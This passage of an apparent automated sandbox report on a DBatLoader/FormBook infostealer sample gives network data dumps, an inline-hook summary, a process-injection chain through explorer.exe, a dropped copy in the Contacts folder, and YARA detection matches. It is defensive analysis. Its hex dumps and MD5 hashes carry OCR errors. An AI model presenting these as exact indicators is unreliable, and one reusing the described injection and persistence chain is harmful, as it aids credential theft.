18 fe fd 37 17 7f 65 b4 85 61 cc 48 28 fa d2 39 12 fd 7b d7 b0 9f 2b 6a 66 7f 76 40 82 €0 36 b6 96 9b 4b e7 80 ae da 3c cl
a7 6f aa cd d9 af 05 9a d0 1b 40 87 60 13 64 20 ca 54 51 4 f6 eb df ef ba 05 f3 02 6d d9 c8 23 34 da 4b 8f 24 ba 0a 85 0f
08 79 f4 84 65 c7 a2 ce 30 d3 cf b3 75 eb f3 00 7c 7b f1 fe 9a bd 8a 99 53 57 8d 90 a4 da 4a Ob 00 68 4f 97 55 8a a9 6f ad
01 b5 2¢ 9b 7c 7a 76 19 6d ba 2b 33 2b 24 9a 89 21 46 2e ba 63 ad Oe ea 41 Oc eb 97 1b 10 fd 35 69 €6 12 a2 b9 e6 Ob
69 bd a5 36 ad 14 bb fO 1e ce 43 0f 66 3b 09 d4
Data Ascii: UEd&xq+#Gn[raJ9UIXG_>*'&, J0cm7eaH(9{+jfv@6K<o@'d TQm#4K$yeOu|{SWIhOUo,|zvm+3+3$!F.cA5ii6Cf;

2022-01-13 19:22:56 UTC 1351 IN Data Raw: 5e 38 aa af 22 e7 a4 96 e7 b8 b3 35 1e e3 8a d0 66 Oa 7d fc 96 b7 4f 8a ef fc 96 fa de 1a f5 45 ¢5 cf ed b8 be
4f de 07 be 5e 7b a7 15 42 a8 d9 ¢8 23 37 5b b9 89 17 1a a2 34 c6 40 fO 7b bf da 08 3c a8 83 44 b1 39 32 95 77 bc 57 e4
20 ed bd de 1a f3 41 27 72 30 80 d3 be Oc 82 84 be 04 78 71 c2 15 16 99 9d 5e 4d 97 36 ab Oc f7 64 06 1b 4a 7b ab 65 df
d5 bf 8e 67 d1 c2 10 8b 7e 0d 6b bd fa f0 16 fd 4b e5 80 ec 3e f6 98 b8 ff 1d ed e9 9f 4d 92 cf d3 de 21 59 f9 68 20 c7 ce
47 ca 20 a2 ce 30 d3 03 f3 70 65 c7 d4 53 ea 01 a9 30 bd e3 ad 15 63 a0 af 39 61 b6 fb 13 13 aa fd 69 d5 bf fb 7d 89 78
32 bd e9 83 46 04 70 60 3c ef 2f 4d e2 59 ad 08 1f 42 b3 13 67 ae 8c da 4d 92 ab 61 6e 46 6¢ 52 35 5d 8 c2 5¢ 67 8f 61
ed ab 2e 8c dd 98 ec 3b 38 a7 06 39 32 84 d3 bd 8a
Data Ascii: *8"5ffOEONB#7[4@{<D92wW A'rOxq"M6dJ{eg~kK>M!Yh G OpeS0c9ai}x2Fp </MYBgManFIR5]\ga.;892

2022-01-13 19:22:56 UTC 1367 IN Data Raw: 2b ¢4 18 9d 26 d1 d9 80 b1 20 a6 d7 c4 1a a4 53 99 b8 fd 18 f8 e0 37 29 73 b6 f3 02 6¢ 52 19 19 9e c7 a4 03
ee 23 6d 9c 95 7c 35 1e f5 0d 04 70 62 56 2e c9 ad 6d d9 e8 69 dO 3d d8 4f 00 6a 52 73 89 7e Ob 61 d3 c9 ca 41 16 d1 d8
29 2b 3329 27 5d ce 75 e3 c6 le aa e5 ff 15 80 81 05 80 f1 98 cc 4e 79 95 40 94 ff 6e 3e 93 40 80 cd a6 c7 a0 ca 22 3c
e5 76 6f dd a2 bd ef 8b 7f 65 86 fe f5 6f a9 2e a8 bf f7 4e 1c ae €9 ec 73 b9 88 01 e8 69 d0 34 52 14 90 a6 d7 c1 8f 2d d8
44 fe e9 8b 7a la e7 89 78 18 €9 9c a4 b0 95 77 e7 e7 e7 e7 e2 40 fc 04 72 64 20 ca 48 44 90 c9 cc 5f ca 42 99 42 bf 87
13 12 8d 2f 59 3c ee ef f9 4b dc 00 2b 02 3e ae a7 16 d1 e2 Oc c7 e3 86 d5 e0 5f ba 04 71 87 1b 27 3e f1 fd 18 64 43 7c 7a
77 b0 e8 69 d0 35 09 f3 06 75 99 5b d9 ab 42 9e a0
Data Ascii: +& S7)sIR#m|5pbV.mi=0jRs~aA)+3) luNy@n>@"<voeo.Nsi4R-Dzxw@rd HD_BB/Y<K+>_q'>dC|zwi5u[B

Copyright Joe Security LLC 2022 Page 59 of 69



kBytes
Timestamp transferred

2022-01-13 19:22:56 UTC 1383

2022-01-13 19:22:56 UTC 1399

2022-01-13 19:22:56 UTC 1415

2022-01-13 19:22:56 UTC 1431

2022-01-13 19:22:56 UTC 1447

2022-01-13 19:22:56 UTC 1455

2022-01-13 19:22:56 UTC 1471

2022-01-13 19:22:56 UTC 1487

Code Manipulations

User Modules

Hook Summary

Copyright Joe Security LLC 2022

Direction

IN

Data

Data Raw: 5f d5 d7 b7 78 73 e4 61 cc 4a 63 a0 ea Oa 1b 4d f5 6f ae ef f8 8f 24 b7 7f 04 e9 e9 ec 36 96 fb 45 d0 78 72 64
31 3532 ba 62 45 84 8e a2 ce 31 77 62 44 fe de 01 a5 02 28 ¢3 97 36 df Ob 8¢ 9b 3f 37 33 16 cf b1 70 60 3d 57 23 30 d2
7c 2e 94 ed f7 Ob 00 68 ba 7b fd 18 d1 f9 40 b7 33 10 dc 4c 10 8f ec 72 64 40 87 15 d0 37 61 ce 59 ff 71 8d 52 5b df ba 6d
ad 17 7f 62 39 23 41 0b 61 f2 8a 9d 83 Oa 7e 7a 04 76 a8 df d5 cf db 9f 27 6a 3¢ 83 63 b7 0d 61 dd a9 1b 57 db ac a9 54
26 04 70 60 39 14 92 6f de 53 ef 90 f4 €9 83 78 37 09 98 d6 23 47 c7 d4 4e 75 a7 53 9b 8f 24 b7 78 03 e8 aa e3 de 23 5¢
61 d1 e2 34 b8 91 48 75 a9 2a b6 9a f1 f7 0f al 4c 10 8e d0 32 14 97 36 b3 1b 51 ef 97 59 ee 10 fe f8 €8 2d 41 7c da 4a
Ob 05 81 03 2f 53 9f 24 d8 34 af 05 9c 82 5 69 a4

Data Ascii: _xsaJcMo$6Exrd152bE1wbD(6?73p =W#0|.h{@3Lrd@7aYqR[mb9#Aa~zv'j<caWT&p 90Sx7#GNuS$x#\adHu*
L26QY-A[J/S$4i

Data Raw: 83 Oa 7e 7f 01 ea 6e 5b b1 70 60 3c ec 72 64 45 80 83 Oa 7e 7f 01 ea 6e 5b b1 70 60 3c ec 72 64 45 80 83 Oa
7e 7f 01 ea 6e 5b b1 70 60 3c ec 72 64 45 80 83 Oa 7e 7f 01 ea 6e 5b b1 70 60 3c ec 72 64 45 80 83 Oa 7e 7f 01 ea 6e 5b
b1 70 60 3c ec 72 64 45 80 83 Oa 7e 7f 01 ea 6e 5b b1 70 60 3c ec 72 64 45 80 83 0a 7e 7f 01 ea 6e 5b b1 70 60 3c ec 72
64 45 80 83 Oa 7e 7f 01 ea 6e 5b b1 70 60 3c ec 72 64 45 80 83 Oa 7e 7f 01 ea 6e 5b b1 70 60 3c ec 72 64 45 80 83 0a 7e
7f 01 ea 6e 5b b1 70 60 3c ec 72 64 45 80 83 0a 7e 7f 01 ea 6e 5b b1 70 60 3c ec 72 64 45 80 83 Oa 7e 7f 01 ea 6e 5b bl
7060 3c ec 72 64 45 80 83 Oa 7e 7f 01 ea 6e 5b b1 70 60 3c ec 72 64 07 e7 e7 a7 59 ad 67 cc 2b 47 85 Oe 87 13 12 8f 24
b6 b3 74 68 4e 12 8f 24 b5 68 4e 14 94 aa b0 ed f4 84 8c

Data Ascii: ~n[p <rdE~n[p <rdE~n[p <rdE~n[p <rdE~n[p <rdE~n[p <rdE~n[p <rdE~n[p <rdE~n[p <rdE~n[p <rdE~n[p <rd
E~n[p <rdE~n[p <rdYg+G$thN$ShN

Data Raw: 45 80 83 0a d7 16 ab f2 80 87 d1 eb 15 9d af 36 54 ca 52 96 50 64 ce c3 d2 b3 aa 0b ff e2 ac 20 47 46 fc 69 d1
05 1b 23 75 fb 13 07 7c 3b 92 e6 ee 8b 5e b3 8b e5 14 15 fe 6e 1le 27 3e b0 a5 Oc ea 7e f6 ec 2b 1e fO bb b5 ae 9c 8f 20
6d 5a 68 4f 64 00 ae d1 3f 7b bd 01 e3 ab a2 4b 71 1d 32 ac 0d 54 dd 2f ac 95 da 49 02 3c 13 ec 8e da a2 3a ad ec 8e ff
97 ¢9 96 f2 b0 91 df 50 57 ee 8f 51 10 8b e8 2c¢ 0f 29 cb cd 9e 3a 8c 9e 84 c4 48 6f 88 55 97 c9 5b 4d 03 06 81 40 7e 80
7¢ 79 99 d2 39 26 ac e5 f6 03 12 ca ac a4 2b Oa f5 fa d4 b4 Oe d2 b0 19 52 94 6b 5e c1 ea 38 af f3 36 54 25 42 21 b4 2¢
42 ad 31 07 07 33 da a6 5¢c 66 8a c4 43 25 d8 ad 98 46 2 fe 73 25 c¢5 63 cb 01 02 6¢ 16 de 97 23 be f0 3e 7c 85 f0 83 3c
04 88 d0 b9 81 44 b9 21 59 bd 03 8a c0 48 5d 76 5e c7

Data Ascii: EETRPd GFi#ul;"n'>~+ mZhOd?{Kq2T/I<:PWQ,):HoU[M@~|y9&+Rk"86 T%B!,B13\fC%Fs%cl#>|<D!YH]v"

Data Raw: 5b 87 4f 97 76 5b e9 ec 32 e0 14 94 ef e9 e0 58 2a c5 b8 ff 5d be 84 8¢ 9e ¢5 9c c1 93 2d 4b 8e a2 ce 30 d2 39
66 49 89 17 1la al 4c 10 8b 1b 23 35 5d b6 fb 52 15 9e 05 78 05 80 ea 22 e7 e2 5¢ 72 75 7f 01 ab 73 f2 80 c2 06 45 80 c2
07 a7 59 ec 62 81 05 b3 47 6d d9 88 a6 1b 23 75 dd 85 Oe c7 96 d4 3d 2f 66 15 16 d8 70 38 e4 21 07 bb 86 d0 24 bb 86
90 a6 c7 a0 8b 13 26 bc 08 79 f4 84 8¢ 9e ¢5 9c c1 93 2d 4b 8e a2 ce 30 d2 39 66 49 89 17 1la al 4c 10 8b 1b 62 49 ad 67
8c 13 60 53 ed 86 d5 cb da 23 79 93 43 15 64 31 07 b2 e2 5¢ 73 d2 1d 28 80 b0 05 f3 42 c9 69 dO 74 5e 6¢ 57 e8 5f da 4a
4b b8 a3 51 db fb 4b 8e e2 6a 1e aa a0 ac ¢5 9c c¢1 93 21 31 15 11 c9 a5 55 a4 d3 bb 86 90 a6 d7 c4 1la al 4c 10 8b 1b 23
355d b6 fb 13 12 8f 24 b7 7d fc 96 f5 01 2e 5d c4 75 99

Data Ascii: [Ov[2X*]-KO9fIL#5]RX"\rusEYbGm#u=/fp8!$&y-K09fILblg"S#yCd1\s(Bit"IW_JKQK]j!1UL#5]$}.Ju

Data Raw: 1d 63 c1 7f 44 7d ec 73 f6 dd 5a c7 e5 68 a6 92 22 57 ed f7 fb 56 ad 76 18 9e 3b €9 08 3c 65 00 df da 45 7f e6
e4 07 fb fd d9 3f c4 15 2e 46 65 2b 02 e7 a4 €6 17 c1 16 d3 63 48 f8 72 01 de bb 86 dO fc Oe b2 2a 19 72 bb 66 Oc Ob cO
22 6f 98 31 5¢c db 4e 10 cb 22 47 c0 9a 51 de da 42 3a 6b 21 74 e3 2e 88 1c 5e 7d ff 1c 2d bf ca ac 9e 2e 39 23 bc f0 3e f2
80 83 Oa de d3 30 d2 39 66 dc c9 aa €0 58 2a c5 38 5¢ b0 15 43 f5 Oe d2 b2 fe df 5e 6f 8b 48 db 09 78 9d c8 76 ad ec 72
20 3d 27 1b dc 8c 9f 48 43 fb 8f 09 78 b1 fb d0 69 28 2b b8 00 19 45 69 13 12 cf 75 2f 38 f4 0d 60 65 9e 9f 88 a6 d7 80 04
ec 77 10 ab eb 94 9f b7 19 1f 6¢ 90 1b 4b db 0d 37 8d ab 37 al c7 63 98 e6 a6 d4 c2 ea 08 9e 2d 88 be ca ac 26 e7 b9 47
86 6f 22 d5 4a e3 18 b6 38 6f d3 c6 ed cf 6a d9

Data Ascii: cD}sZh"WVv;<eE?.Fe+cHr*rf'o1\N"GQB:k!t."}-.9#>09fX*8\C oHxvr ='HCxi(+Eiu/8 ewlK77¢c-&G0"J80j

Data Raw: 96 40 b0 66 4f 68 bl 8c 2e 48 c1 6¢ a8 20 02 €9 65 38 1b dd 3e 74 e5e7 18 62 bd 22 36 19 e0 a7 a5f1 78 f8
72 9b c4 be 89 9a 42 05 78 12 67 cf 39 99 ¢5 67 68 db 40 Oa 81 bf f3 ea 3e Oe 78 d9 22 5b b1 34 5d d6 e3 8e a6 97 bd 8a
dd a0 76 cc 7b 07 08 85 e4 e4 ec 72 64 44 fe f2 78 34 52 1d 68 e6 a9 e6 6d ad 49 76 6f al cc d7 91 a2 dc 3b aa 65 38 1b
f0 64 ad 9b 7a fd e4 24 3e Oe 78 ed 7e 97 32 95 b9 a8 a8 1c 22 4c ef 74 8a 71 e2 1c c0 31 41 f3 ¢c1 18 65 82 Oe 87 53 37
a9 e6 99 7f 88 95 72 cc 3 66 b6 04 a3 2a 2d 4b 8e a3 55 1d d7 3b 94 40 70 ed b6 2b cc 2b 47 8b 51 73 ba b6 04 8f d9 22
3652 €999 b3 8b e4 9d 93 98 93 24 5c c7 e5 6a ad 98 47 08 91 ef 72 9b c0 a8 3c 04 20 ae ad el ba a5 05 Oc 7d 01 00
ed 794 84 8d 25 52 3e 84 4c 95 cd 51 22 48 ef a9 al b3 88

Data Ascii: @fOh.HI e8>th"6xrBxg9gh@>x"[4]v{rdDx4RhmIvo;e8dz$>x~2"LtqlAeS7rf*-KU;@p++GQs"6R$\|Gr< }y
%R>LQ"H

Data Raw: Oc ea f2 80 83 Oa 7e 7f 01 ea 6e 5b b1 70 60 3c ec 72 64 45 80 83 Oa 7e 7f 01 ea 6e 5b b1 70 60 7c 12 13 82
€983 63 b7 0d 61 dd a9 1b 4f f6 €6 17 7f 75 93 68 Ob 12 8f 64 71 c6 le ea 5d 5e 38 a4 €0 94 af 2b 71 b6 fb 53 a9 3e f1 bd
bc 54 22 13 34 83 0a 3e ¢7 ec 72 24 dO ac e5 e3 de 43 7c 3a 80 bf 8f 24 b7 7d fc 96 b4 f6 88 95 32 d6 42 fa 91 29 42 fa 91
29 42 fa 91 29 42 fa 91 29 42 ba 6¢ 6b 15 9d 2f 31 3a 9a d8 32 ae ac a0 ¢3 97 76 59 89 17 5a 1c 4e 14 d4 Oe 4b 8e e2 6a
06 75 ab 54 42 fa d1 80 df d5 ff 2a 9d 43 3c da 06 75 ab 04 50 19 1f 2c d9 c8 63 a4 37 61 be Oc 82 87 13 12 8f 24 b7 7d fc
96 b4 f6 88 95 32 d6 42 fa 91 29 42 fa 91 29 42 fa d1 d1 52 6f b2 80 f1 b8 8b 6e 14 fa d8 03 e5 e3 9e f1 d9 c8 63 f0 93 2d
0b 33 95 32 96 82 d3 bb c6 28 a0 ca 67 fa cd

Data Ascii: ~n[p’<rdE~n[p’|caOuhdq]"8+qS>T"4>r$C|:$}2B)B)B)B)BIk/1:2vYZNKjuTB*C<uP,c7a$}2B)B)BRonc-32(g

Data Raw: 80 87 37 25 b1l 74 4c 54 ab al 4f b3 70 eb 2d 48 48 ec 8d df 22 8c 76 b8 74 ab 61 9a b9 0a 70 1c aa 1d ab 8d
0Ob ff €3 2a bb 6e 53 bb c2 9e 7 e0 a5 7e 7b dc Ob 89 d2 3a e2 22 4e 2f 58 40 7e 77 cb fd 93 25 1e ee fe 9e el 9e 4e 5b
¢4 18 9d b5 7c 5e 7c f1 f9 2b 03 67 0a 7d d8 42 71 1d d7 3c 6e b3 74 68 4e aa 09 fa 21 29 cb 8d 24 3c 34 d0 b4 f6 88 96
9129 c9 81 01 61 be 48 82 37 64 44 38 cf 71 69 d0 70 €6 71 41 b8 cc 2b 03 68 5a 32 d5 bf cb 2f 48 02 6d d9 8c 18 89 b6
e3 a3 5d b6 bf 09 ef c4 99 3a ac 63 db fO 7a 76 29 c4 Oe ba 2d 04 0f 09 bf 09 ef c4 21 54 57 a8 98 3e e9 €9 d7 c0 35 19 94
51 b0 16 13 12 8f 25 32 3f ad ec 72 64 44 f1 14 6b 2a 33 1b cb ad a7 da 4e 30 96 3f 5b 38 e0 7c 3e 7a 74 a5 d6 46 27 7a
ff df d6 66 4d 19 3c 90 aa 1d ab 9d bc fd 49 61 b6 df

Data Ascii: 7%tLTOp-HH"vtap*nS~{:"N/X@~w%N[|*|+g}Bg<nthN!)$<4)aH7dD8dipgA+hZ2/Hm]:czv)-ITW>5Q%2?rdDk
*3N0?[8|>ztF'zfM<la
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Function Name Hook Type
PeekMessageA INLINE
PeekMessageW INLINE
GetMessageW INLINE
GetMessageA INLINE
Processes

Statistics

Behavior

g

Click to jump to process

System Behavior

Active in Processes
explorer.exe
explorer.exe
explorer.exe

explorer.exe

Analysis Process: WZ454554.exe PID: 6628 Parent PID: 5028

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

Reputation:

File Activities

File Created

File Written

File Read

Registry Activities

Key Value Created

20:22:15

13/01/2022
C:\Users\user\Desktop\WZ454554.exe
true
"C:\Users\user\Desktop\WZ454554.exe"
0x400000

807424 bytes
58B39C2620CDDA3D3FA6A125F476FCIOF
true

true

Borland Delphi

e Rule: JoeSecurity_DBatlLoader, Description: Yara detected DBatLoader, Source:
00000002.00000000.283008845.0000000000401000.00000020.00020000.sdmp, Author:
Joe Security

low

Show Windows behavior

Show Windows behavior

Analysis Process: WZ454554.exe PID: 6936 Parent PID: 6628

General

Start time:

Start date:

Copyright Joe Security LLC 2022

20:22:34
13/01/2022
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Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

Reputation:

File Activities

File Read

Copyright Joe Security LLC 2022

C:\Users\user\Desktop\WZ454554.exe

true

C:\Users\user\Desktop\WZ454554.exe

0x400000

807424 bytes
58B39C2620CDDA3D3FA6A125F476FCIOF

true

true

C, C++ or other language

.

low

Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source:
00000009.00000000.323155523.0000000000401000.00000020.00020000.sdmp, Author:
Joe Security

Rule: JoeSecurity_DBatlLoader, Description: Yara detected DBatLoader, Source:
00000009.00000000.321956986.0000000000401000.00000020.00020000.sdmp, Author:
Joe Security

Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source:
00000009.00000000.322739212.0000000000401000.00000020.00020000.sdmp, Author:
Joe Security

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000009.00000002.407793404.00000000005E0000.00000040.00020000.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000009.00000002.407793404.00000000005E0000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000009.00000002.407793404.00000000005E0000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_DBatlLoader, Description: Yara detected DBatLoader, Source:
00000009.00000000.322356028.0000000000401000.00000020.00020000.sdmp, Author:
Joe Security

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000009.00000000.324007988.0000000000400000.00000040.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000009.00000000.324007988.0000000000400000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000009.00000000.324007988.0000000000400000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000009.00000002.407506141.0000000000400000.00000040.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000009.00000002.407506141.0000000000400000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000009.00000002.407506141.0000000000400000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000009.00000001.324511598.0000000000400000.00000040.00020000.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000009.00000001.324511598.0000000000400000.00000040.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000009.00000001.324511598.0000000000400000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000009.00000002.407725220.00000000005B0000.00000040.00020000.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000009.00000002.407725220.00000000005B0000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000009.00000002.407725220.00000000005B0000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000009.00000000.324380363.0000000000400000.00000040.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000009.00000000.324380363.0000000000400000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000009.00000000.324380363.0000000000400000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Show Windows behavior
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Analysis Process: explorer.exe PID: 3352 Parent PID: 6936

General
Start time: 20:22:36
Start date: 13/01/2022
Path: C:\Windows\explorer.exe
Wow64 process (32bit): false
Commandline: C:\Windows\Explorer.EXE
Imagebase: 0x7ff720ea0000
File size: 3933184 bytes
MD5 hash: AD5296B280E8F522A8A897C96BABOELD
Has elevated privileges: false
Has administrator privileges: false
Programmed in: C, C++ or other language
Yara matches: e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000A.00000000.360550532.00000000100E2000.00000040.00020000.sdmp, Author:
Joe Security
e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000A.00000000.360550532.00000000100E2000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com
e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000A.00000000.360550532.00000000100E2000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group
Reputation: high
File Activities Show Windows behavior
File Read
Registry Activities Show Windows behavior

Analysis Process: Hyrzbcwcas.exe PID: 1840 Parent PID: 3352

General

Start time: 20:22:43

Start date: 13/01/2022

Path: C:\Users\user\Contacts\Hyrzbcwcas.exe

Wow64 process (32bit): true

Commandline: "C:\Users\user\Contacts\Hyrzbcwcas.exe"

Imagebase: 0x400000

File size: 807424 bytes

MDS5 hash: 58B39C2620CDDA3D3FAGA125F476FCIF

Has elevated privileges: false

Has administrator privileges: false

Programmed in: Borland Delphi

Yara matches: e Rule: JoeSecurity_DBatlLoader, Description: Yara detected DBatLoader, Source:
0000000D.00000000.342065760.0000000000401000.00000020.00020000.sdmp, Author:
Joe Security

e Rule: JoeSecurity_DBatlLoader, Description: Yara detected DBatLoader, Source:
C:\Users\user\Contacts\Hyrzbcwcas.exe, Author: Joe Security

Reputation: low
File Activities Show Windows behavior
File Created

File Written

File Read
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Analysis Process: Hyrzbcwcas.exe PID: 7108 Parent PID: 3352

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

Reputation:

File Activities

File Created

File Written

File Read

20:22:52

13/01/2022
C:\Users\user\Contacts\Hyrzbcwcas.exe
true
"C:\Users\user\Contacts\Hyrzbcwcas.exe"
0x400000

807424 bytes
58B39C2620CDDA3D3FA6A125F476FCIOF
false

false

Borland Delphi

e Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source:
0000000E.00000000.360667337.0000000000401000.00000020.00020000.sdmp, Author:
Joe Security

e Rule: JoeSecurity_DBatlLoader, Description: Yara detected DBatLoader, Source:
0000000E.00000000.363228459.0000000000401000.00000020.00020000.sdmp, Author:
Joe Security

e Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source:
0000000E.00000000.362225116.0000000000401000.00000020.00020000.sdmp, Author:
Joe Security

e Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source:
0000000E.00000000.361296807.0000000000401000.00000020.00020000.sdmp, Author:
Joe Security

low

Show Windows behavior

Analysis Process: Hyrzbcwcas.exe PID: 5708 Parent PID: 1840

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright Joe Security LLC 2022

20:23:08

13/01/2022
C:\Users\user\Contacts\Hyrzbcwcas.exe
true
C:\Users\user\Contacts\Hyrzbcwcas.exe
0x400000

807424 bytes
58B39C2620CDDA3D3FAGA125F476FCIF
false

false

C, C++ or other language
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Yara matches: .

Reputation: low

File Activities

File Read

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000011.00000002.428947591.00000000005A0000.00000040.00020000.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000011.00000002.428947591.00000000005A0000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000011.00000002.428947591.00000000005A0000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source:
00000011.00000000.395638954.0000000000401000.00000020.00020000.sdmp, Author:
Joe Security

Rule: JoeSecurity_DBatlLoader, Description: Yara detected DBatLoader, Source:
00000011.00000000.398461439.0000000000401000.00000020.00020000.sdmp, Author:
Joe Security

Rule: JoeSecurity_DBatlLoader, Description: Yara detected DBatLoader, Source:
00000011.00000000.397793786.0000000000401000.00000020.00020000.sdmp, Author:
Joe Security

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000011.00000000.399621636.0000000000400000.00000040.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000011.00000000.399621636.0000000000400000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000011.00000000.399621636.0000000000400000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000011.00000001.400349591.0000000000400000.00000040.00020000.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000011.00000001.400349591.0000000000400000.00000040.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000011.00000001.400349591.0000000000400000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source:
00000011.00000000.397308343.0000000000401000.00000020.00020000.sdmp, Author:
Joe Security

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000011.00000000.400048444.0000000000400000.00000040.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000011.00000000.400048444.0000000000400000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000011.00000000.400048444.0000000000400000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000011.00000002.429108861.00000000005D0000.00000040.00020000.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000011.00000002.429108861.00000000005D0000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000011.00000002.429108861.00000000005D0000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000011.00000002.428671777.0000000000400000.00000040.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000011.00000002.428671777.0000000000400000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000011.00000002.428671777.0000000000400000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Show Windows behavior

Analysis Process: help.exe PID: 6656 Parent PID: 3352

General

Start time: 20:23:11

Start date: 13/01/2022

Path: C:\Windows\SysWOW64\help.exe
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Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

true

C:\Windows\SysWOW64\help.exe
0xa50000

10240 bytes
09A715036F14D3632AD03B52D1DA6BFF
false

false

C, C++ or other language

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000014.00000002.559491799.00000000030A0000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000014.00000002.559491799.00000000030A0000.00000004.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000014.00000002.559491799.00000000030A0000.00000004.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
